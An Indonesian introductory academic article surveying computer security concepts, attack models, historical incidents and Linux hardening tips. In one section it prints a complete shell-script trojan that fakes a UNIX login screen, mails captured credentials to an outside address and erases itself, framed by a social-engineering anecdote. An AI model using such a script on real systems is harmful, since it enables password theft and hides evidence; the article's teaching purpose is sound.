MENGENAL TEKNIK-TEKNIK KEAMANAN KOMPUTER DAN MODEL-MODEL SERANGANNYA (SECURITY ATTACK MODELS)

Dian Wirdasari

ABSTRAK

Informasi saat ini sudah menjadi sebuah komoditi yang sangat penting. Bahkan ada yang mengatakan bahwa kita sudah berada di sebuah "*information-based society*". Kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi, baik yang berupa organisasi komersial (perusahaan), perguruan tinggi, lembaga pemerintahan, maupun individual (pribadi). Hal ini dimungkinkan dengan perkembangan pesat di bidang teknologi komputer dan telekomunikasi. Terhubungnya LAN atau komputer ke Internet membuka potensi adanya lubang keamanan (*security hole*) yang tadinya bisa ditutupi dengan mekanisme keamanan secara fisik. Ini sesuai dengan pendapat bahwa kemudahan (kenyamanan) mengakses informasi berbanding terbalik dengan tingkat keamanan sistem informasi itu sendiri. Semakin tinggi tingkat keamanan, semakin sulit (tidak nyaman) untuk mengakses informasi.

Kata Kunci: Keamanan, Komputer, Security

A. PENDAHULUAN

Menghubungkan komputer ke jaringan internet adalah suatu aktivitas yang paling menyenangkan dan sekaligus mengasyikkan, apalagi setelah kita dapat terhubung ke dalam server-server tempat kita biasa melakukan aktivitas-aktivitas seperti ngobrol (*chatting*), belanja (*shopping*), melihat-lihat informasi (*surfing*), mengirim dan membaca email, men-*download* atau meng-*upload* file, dan lain sebagainya.

Namun, jika kita tidak berhati-hati atau waspada, apalagi sampai tidak memperhatikan berbagai program aplikasi yang telah terinstal di hardisk, maka itulah awal dari bencana yang akan menimpa komputer kita, sebagai akibat dari hubungan ke server-server tersebut.

Suatu hal yang mungkin dapat terjadi ketika kita sedang asyik mengakses internet adalah tanpa kita sadari ada orang lain yang juga sedang asyik mengakses file-file dan semua sumber daya di dalam komputer kita. Hal ini dapat terjadi karena adanya salah satu aplikasi atau program yang aktif dan secara tidak sengaja telah membuat pintu khusus bagi orang lain untuk memasuki sistem komputer kita.

Oleh karena itu, pemahaman dan pengetahuan dalam konteks keamanan (*security*) harus dimiliki agar komputer kita dapat terhindar dari bahaya.

Masalah keamanan merupakan salah satu aspek penting dari sebuah sistem informasi. Sayang sekali masalah keamanan ini sering kali kurang mendapat perhatian dari para pemilik dan pengelola sistem informasi. Seringkali masalah keamanan berada di urutan kedua, atau bahkan di urutan terakhir dalam daftar hal-hal yang dianggap penting. Apabila menggangu performansi dari sistem, seringkali keamanan dikurangi atau ditiadakan.

Informasi saat ini sudah menjadi sebuah komoditi yang sangat penting. Bahkan ada yang mengatakan bahwa kita sudah berada di sebuah "*information-based society*". Kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi, baik yang berupa organisasi komersial (perusahaan), perguruan tinggi, lembaga pemerintahan, maupun individual (pribadi). Hal ini dimungkinkan dengan perkembangan pesat di bidang teknologi komputer dan telekomunikasi. Dahulu, jumlah

komputer sangat terbatas dan belum digunakan untuk menyimpan hal-hal yang sifatnya sensitif. Penggunaan komputer untuk menyimpan informasi yang sifatnya classified baru dilakukan di sekitar tahun 1950-an.

Jaringan komputer, seperti LAN dan Internet, memungkinkan untuk menyediakan informasi secara cepat. Ini salah satu alasan perusahaan atau organisasi mulai berbondong-bondong membuat LAN untuk sistem informasinya dan menghubungkan LAN tersebut ke Internet. Terhubungnya LAN atau komputer ke Internet membuka potensi adanya lubang keamanan (*security hole*) yang tadinya bisa ditutupi dengan mekanisme keamanan secara fisik. Ini sesuai dengan pendapat bahwa kemudahan (kenyamanan) mengakses informasi berbanding terbalik dengan tingkat keamanan sistem informasi itu sendiri. Semakin tinggi tingkat keamanan, semakin sulit (tidak nyaman) untuk mengakses informasi.

Alasan mengapa dibutuhkannya keamanan komputer:

a. *"information-based society"*, menyebabkan nilai informasi menjadi sangat penting dan menuntut kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi.

b. Infrastruktur Jaringan komputer, seperti LAN dan Internet, memungkinkan untuk menyediakan informasi secara cepat, sekaligus membuka potensi adanya lubang keamanan *(security hole)*

Kejahatan Komputer semakin meningkat karena:

a. Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data Interchange (EDI).
b. Desentralisasi server.
c. Transisi dari single vendor ke multi vendor.
d. Meningkatnya kemampuan pemakai (user).
e. Kesulitan penegak hukum dan belum adanya ketentuan yang pasti.
f. Semakin kompleksnya system yang digunakan, semakin besarnya source code program yang digunakan.
g. Berhubungan dengan internet.

B. KLASIFIKASI KEJAHATAN KOMPUTER

Menurut David Icove [1], berdasarkan lubang keamanan, keamanan dapat diklasifikasikan menjadi empat, yaitu:

1. **Keamanan yang bersifat fisik** *(physical security)*: termasuk akses orang ke gedung, peralatan, dan media yang digunakan. Contoh:
   - Wiretapping atau hal-hal yang berhubungan dengan akses ke kabel atau komputer yang digunakan juga dapat dimasukkan ke dalam kelas ini.
   - *Denial of service*, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diutamakan adalah banyaknya jumlah pesan).
   - *Syn Flood Attack*, dimana sistem *(host)* yang dituju dibanjiri oleh permintaan sehingga dia menjadi ter-lalu sibuk dan bahkan dapat berakibat macetnya sistem *(hang)*.
2. **Keamanan yang berhubungan dengan orang (personel)**, Contoh :
   - Identifikasi user (username dan password)
   - Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola).
3. **Keamanan dari data dan media serta teknik komunikasi** *(communications)*.
4. **Keamanan dalam operasi**: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem keamanan, dan juga ter-masuk prosedur setelah serangan *(post attack recovery)*.

Karakteristik Penyusup:

1. The Curious (Si Ingin Tahu) - tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan data yang anda miliki.
2. The Malicious (Si Perusak) - tipe penyusup ini berusaha untuk merusak sistem anda, atau merubah web page anda, atau sebaliknya membuat waktu dan uang anda kembali pulih.
3. The High-Profile Intruder (Si Profil Tinggi) - tipe penyusup ini berusaha menggunakan sistem anda untuk memperoleh popularitas dan ketenaran. Dia mungkin menggunakan sistem profil tinggi anda untuk mengiklankan kemampuannya.
4. The Competition (Si Pesaing) - tipe penyusup ini tertarik pada data yang anda miliki dalam sistem anda. Ia mungkin seseorang yang beranggapan bahwa anda memiliki sesuatu yang dapat menguntungkannya secara keuangan atau sebaliknya.

Istilah bagi penyusup :

1. Mundane ; tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya.
2. lamer (script kiddies) ; mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak paham bagaimana cara membuatnya.
3. wannabe ; paham sedikit metode hacking, dan sudah mulai berhasil menerobos sehingga berfalsafah ; HACK IS MY RELIGION.
4. larva (newbie) ; hacker pemula, teknik hacking mulai dikuasai dengan baik, sering bereksperimen.
5. hacker ; aktivitas hacking sebagai profesi.
6. wizard ; hacker yang membuat komunitas pembelajaran di antara mereka.
7. guru ; master of the master hacker, lebih mengarah ke penciptaan tools-tools yang powerfull yang salah satunya dapat menunjang aktivitas hacking, namun lebih jadi tools pemrograman system yang umum.

C. ASPEK KEAMANAN KOMPUTER

Menurut Garfinkel [2], terdapat 6 (enam) aspek dalam keamanan komputer, yaitu:

1. Privacy / Confidentiality

- Defenisi : menjaga informasi dari orang yang tidak berhak mengakses.
- Privacy : lebih ke arah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai *(user)* tidak boleh dibaca oleh administrator.
- Confidentiality : berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk keperluan tertentu tersebut.
- Contoh : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama, status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat diproteksi dalam penggunaan dan penyebarannya.
- Bentuk Serangan : usaha penyadapan (dengan program *sniffe*r).
- Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan menggunakan teknologi kriptografi.

2. Integrity

- Defenisi : informasi tidak boleh diubah tanpa seijin pemilik informasi.
- Contoh : e-mail di *intercep*t di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju.
- Bentuk serangan : Adanya virus, *trojan hors*e, atau pemakai lain yang mengubah informasi tanpa ijin, “man in the middle attack” dimana seseorang menempatkan diri di

tengah pembicaraan dan menyamar sebagai orang lain.

3. Authentication

- Defenisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud.
- Dukungan :
  - Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking(untuk menjaga *"intellectual property"*, yaitu dengan menandai dokumen atau hasil karya dengan "tanda tangan" pembuat) dan digital signature.
  - Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.

4. Availability

- Defenisi: berhubungan dengan ketersediaan informasi ketika dibutuhkan.
- Contoh hambatan :
  - *"denial of service attac*k" (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai *dow*n, *hang*, *cras*h.
  - *mailbom*b, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan mengakses e-mailnya.

5. Access Control

- Defenisi : cara pengaturan akses kepada informasi. berhubungan dengan masalah authentication dan juga privacy
- Metode: menggunakan kombinasi userid/password atau dengan menggunakan mekanisme lain.

6. Non-repudiation

- Defenisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Dukungan bagi electronic commerce.

D. SECURITY ATTACK MODELS

Menurut W. Stallings [3], model-model serangan *(attack models*) terdiri dari:

1. ***Interruption*:** Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan *(availability*) dari sistem. Contoh serangan adalah "denial of service attack".
2. ***Interception*:** Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini adalah penyadapan *(wiretapping*).
3. ***Modification*:** Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang merugikan pemilik web site.
4. ***Fabrication*:** Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer.

Security Breach Accident

1996 *U.S. Federal Computer Incident Response Capability* (FedCIRC) melaporkan bahwa lebih dari 2500 "insiden" di system komputer atau jaringan komputer yang disebabkan

oleh gagalnya sistem keamanan atau adanya usaha untuk membobol sistem keamanan

1996 *FBI National Computer Crimes Squad,* Washington D.C., memperkirakan kejahatan komputer yang terdeteksi kurang dari 15%, dan hanya 10% dari angka itu yang dilaporkan

1997 Penelitian *Deloitte Touch Tohmatsu* menunjukkan bahwa dari 300 perusahaan di Australia, 37% (dua diantara lima) pernah mengalami masalah keamanan sistem komputernya.

1996 Inggris, *NCC Information Security Breaches Survey* menunjukkan bahwa kejahatan komputer menaik 200% dari tahun 1995 ke 1996. Kerugian rata-rata US $30.000 / insiden.

1998 *FBI* melaporkan bahwa kasus persidangan yang berhubungan dengan kejahatan komputer meroket 950% dari tahun 1996 ke tahun 1997, dengan penangkapan dari 4 ke 42, dan terbukti di pengadilan naik 88% dari 16 ke 30 kasus.

Dan lain-lain. Dapat dilihat di www.cert.org

Contoh akibat dari jebolnya sistem keamanan, antara lain:

1988 Keamanan sistem mail *sendmail* dieksploitasi oleh Robert Tapan Morris sehingga melumpuhkan sistem Internet. Kegiatan ini dapat diklasifikasikan sebagai *"denial of service attac*k".

Diperkirakan biaya yang digunakan untuk memperbaiki dan hal-hal lain yang hilang adalah sekitar $100 juta. Di tahun 1990 Morris dihukum dan hanya didenda $10.000.

10 Maret 1997 Seorang hacker dari Massachusetts berhasil mematikan sistem telekomunikasi di sebuah airport local (Worcester, Massachusetts)

1990 Kevin Poulsen mengambil alih system komputer telekomunikasi di Los Angeles untuk memenangkan kuis di sebuah radio local.

1995 Kevin Mitnick, mencuri 20.000 nomor kartu kredit, menyalin system operasi DEC secara illegal dan mengambil alih hubungan telpon di New York dan California.

1995 Vladimir Levin membobol bank-bank di kawasan Wallstreet, mengambil uang sebesar $10 juta.

2000 Fabian Clone menjebol situs aetna.co.id dan Jakarta mail dan membuat directory atas namanya berisi peringatan terhadap administrator situs tersebut.

2000 Beberapa web site Indonesia sudah dijebol dan daftarnya (beserta contoh halaman yang sudah dijebol) dapat dilihat di koleksi <http://www.2600.com>

2000 Wenas, membuat server sebuah ISP di singapura down

E. MEMAHAMI HACKER BEKERJA

Secara umum hacker bekerja melalui tahapan-tahapan sebagai berikut :

1. Tahap mencari tahu system komputer sasaran.
2. Tahap penyusupan
3. Tahap penjelajahan
4. Tahap keluar dan menghilangkan jejak.

Contoh kasus Trojan Horse, memanfaatkan SHELL script UNIX :

Seorang gadis cantik dan genit peserta kuliah UNIX di sebuah perguruan tinggi memiliki

potensi memancing pengelola sistem komputer (administrator pemegang account root . . . hmmm) yang lengah. Ia melaporkan bahwa komputer tempat ia melakukan tugas-tugas UNIX yang diberikan tidak dapat dipergunakan. Sang pengelola sistem komputer tentu saja dengan gagah perkasa ingin menunjukkan kekuasaan sebagai administrator UNIX.

"Well, ini soal kecil. Mungkin password kamu ke blokir, biar saya perbaiki dari tempat kamu", ujar administrator UNIX sombong sambil duduk disebelah gadis cantik dan genit peserta kuliah tersebut.

Keesokan harinya, terjadilah kekacauan di sistem UNIX karena diduga terjadi penyusupan oleh hacker termasuk juga hompepage perguruan tinggi tersebut di-obok-obok, maklum pengelolanya masih sama. Selanjutnya pihak perguruan tinggi mengeluarkan press release bahwa homepage mereka dijebol oleh hacker dari Luar Negeri . . . . hihiii

Nah sebenarnya apa sih yang terjadi ?

Sederhana, gadis cantik dan genit peserta kuliah UNIX tersebut menggunakan program kecil my_login dalam bentuk shell script yang menyerupai layar login dan password sistem UNIX sebagai berikut:

```
#!/bin/sh
#################################
###
# Nama program : my_login
# Deskripsi :Program kuda trojan
sederhana
# versi 1.0 Nopember 1999
################################
####
COUNTER=0
Cat /etc/issue
While [ "$COUNTER" –ne 2 ]
do
let COUNTER=$COIUNTER+1
echo "login: \c"
read LOGIN
stty echo
echo "password: \c"
read PASSWORD
echo "User $LOGIN : $PASSWORD" |
mail gadis@company.com
stty echo
echo
echo "Login Incorrect"
done
rm $0
kill –9 $PPID
```

Apabila program ini dijalankan maka akan ditampilkan layar login seperti layaknya awal penggunaan komputer pdaa sistem UNIX:

```
Login:
Password:
```

Lihatlah, Administrator UNIX yang gagah perkasa tadi yang tidak melihat gadis tersebut menjalankan program ini tentunya tidak sadar bahwa ini merupakan layar tipuan. Layar login ini tidak terlihat beda dibanding layar login sesungguhnya.
Seperti pada program login sesungguhnya, sistem komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi password dan di enter,maka segera timbul pesan

```
Login:root
Password: ********
Login Incorrect
```

Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata (seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya dibatalkan dan kembali keluar UNIX.

Perhatikan program di atas baik-baik, sekali pemakai tersebut mencoba login dan mengisi password pada layar di atas, setelah itu maka otomatis data login dan password tersebut akan di email ke mailto:hacker@company.com. Sampai disini maka si gadis lugu dan genit telah mendapatkan login dan password, ia ternyata seorang hacker !!

Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak (masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 2 baris terakhir dari program my_login di atas, yaitu

```
rm $0
kill –9 $PPID
```

yang artinya akan segera dilakukan proses penghapusan program my_login dan hapus pula ID dari proses. Dengan demikian hilanglah program tersebut yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan terhadap jejak proses di dalam sistem UNIX. Hilang sudah tanda-tanda bahwa hacker nya ternyata seorang gadis peserta kuliahnya.

Sukses dari program ini sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing agar pemilik root menjalankan program ini.

F. PRINSIP DASAR PERANCANGAN SISTEM YANG AMAN

Terdapat dua prinsip dasar dalam merancang suatu system yang aman, yaitu:

1. Mencegah hilangnya data
2. Mencegah masuknya penyusup

Lapisan Keamanan

1. Lapisan Fisik :
   - membatasi akses fisik ke mesin :
     - Akses masuk ke ruangan komputer
     - penguncian komputer secara hardware
     - keamanan BIOS
     - keamanan Bootloader
   - back-up data :
     - pemilihan piranti back-up
     - penjadwalan back-up
   - mendeteksi gangguan fisik :
     - log file : Log pendek atau tidak lengkap, Log yang berisikan waktu yang aneh, Log dengan permisi atau kepemilikan yang tidak tepat, Catatan pelayanan reboot atau restart, Log yang hilang, masukan su atau login dari tempat yang janggal
     - mengontrol akses sumber daya.

2. Keamanan lokal

   Berkaitan dengan user dan hak-haknya :
   - Beri mereka fasilitas minimal yang diperlukan.
   - Hati-hati terhadap saat/dari mana mereka login, atau tempat seharusnya mereka login.
   - Pastikan dan hapus rekening mereka ketika mereka tidak lagi membutuhkan akses.

3. Keamanan Root
   - Ketika melakukan perintah yang kompleks, cobalah dalam cara yang tidak merusak dulu, terutama perintah yang menggunakan globbing: contoh, anda ingin melakukan "rm foo*.bak", pertama coba dulu: "ls foo*.bak" dan pastikan anda ingin menghapus file-file yang anda pikirkan.
   - Beberapa orang merasa terbantu ketika melakukan "touch /-i" pada sistem mereka. Hal ini akan membuat perintah-perintah seperti : "rm -fr *" menanyakan apakah anda benar-benar ingin menghapus seluruh file. (Shell anda menguraikan "-i" dulu, dan memberlakukannya sebagai option -i ke rm).
   - Hanya menjadi root ketika melakukan tugas tunggal tertentu. Jika anda berusaha mengetahui bagaimana melakukan sesuatu, kembali ke shell pemakai normal hingga anda yakin apa yang perlu dilakukan oleh root.
   - Jalur perintah untuk pemakai root sangat penting. Jalur perintah, atau variabel

lingkungan PATH mendefinisikan lokal yang dicari shell untuk program. Cobalah dan batasi jalur perintah bagi pemakai root sedapat mungkin, dan jangan pernah menggunakan '.', yang berarti 'direktori saat ini', dalam pernyataan PATH anda. Sebagai tambahan, jangan pernah menaruh direktori yang dapat ditulis pada jalur pencarian anda, karena hal ini memungkinkan penyerang memodifikasi atau menaruh file biner dalam jalur pencarian anda, yang memungkinkan mereka menjadi root ketika anda menjalankan perintah tersebut.

- Jangan pernah menggunakan seperangkat utilitas rlogin/rsh/rexec (disebut utilitas r) sebagai root. Mereka menjadi sasaran banyak serangan, dan sangat berbahaya bila dijalankan sebagai root. Jangan membuat file .rhosts untuk root.
- File /etc/securetty berisikan daftar terminal-terminal tempat root dapat login. Secara baku (pada RedHat Linux) diset hanya pada konsol virtual lokal (vty). Berhati-hatilah saat menambahkan yang lain ke file ini. Anda seharusnya login dari jarak jauh sebagai pemakai biasa dan kemudian 'su' jika anda butuh (mudah-mudahan melalui ssh atau saluran terenkripsi lain), sehingga tidak perlu untuk login secara langsung sebagai root.
- Selalu perlahan dan berhati-hati ketika menjadi root. Tindakan anda dapat mempengaruhi banyak hal. Pikir sebelum anda mengetik!

4. Keamanan File dan system file
   - Directory home user tidak boleh mengakses perintah mengubah system seperti partisi, perubahan device dan lain-lain.
   - Lakukan setting limit system file.
   - Atur akses dan permission file : read, writa, execute bagi user maupun group.
   - Selalu cek program-program yang tidak dikenal

5. Keamanan Password dan Enkripsi
   - Hati-hati terhadap bruto force attack dengan membuat password yang baik.
   - Selalu mengenkripsi file yang dipertukarkan.
   - Lakukan pengamanan pada level tampilan, seperti screen saver.

6. Keamanan Kernel
   - selalu update kernel system operasi.
   - Ikuti review bugs dan kekurang-kekurangan pada system operasi.

7. Keamanan Jaringan
   - Waspadai paket sniffer yang sering menyadap port Ethernet.
   - Lakukan prosedur untuk mengecek integritas data
   - Verifikasi informasi DNS
   - Lindungi network file system
   - Gunakan firewall untuk barrier antara jaringan privat dengan jaringan eksternal

Catatan:

[1] John D. Howard, 1997, ***An Analysis Of Security Incidents On The Internet* 1989 - 1995**, PhD thesis, Engineering and Public Policy, Carnegie Mellon University.

[2] Simson Garfinkel, 1995, ***PGP: Pretty Good Privacy***, O'Reilly & Associ-ates, Inc.

[3] William Stallings, 1995, ***Network and Internetwork Security***, Prentice Hall.

G. DAFTAR PUSTAKA

Agus Kurniawan, 2008, **Konsep dan Implementasi Cryptography dengan .Net**, Jakarta: Dian Rakyat.

Eryanto Sitorus, 2003, **Hacker dan Keamanan**, Yogyakarta: Andi Offset.

Simarmata, Janner., 2006, **Pengamanan Sistem Komputer**, Edisi I, Yogyakarta: ANDI.

Thomas, Tom., 2005, ***Network Security First Step***, Diterjemahkan oleh: Tim Penerjemah ANDI, Edisi I, Yogyakarta: ANDI.

Wahana Komputer, 2003, **Memahami Model Enkripsi dan Security Data**, Yogyakarta: ANDI.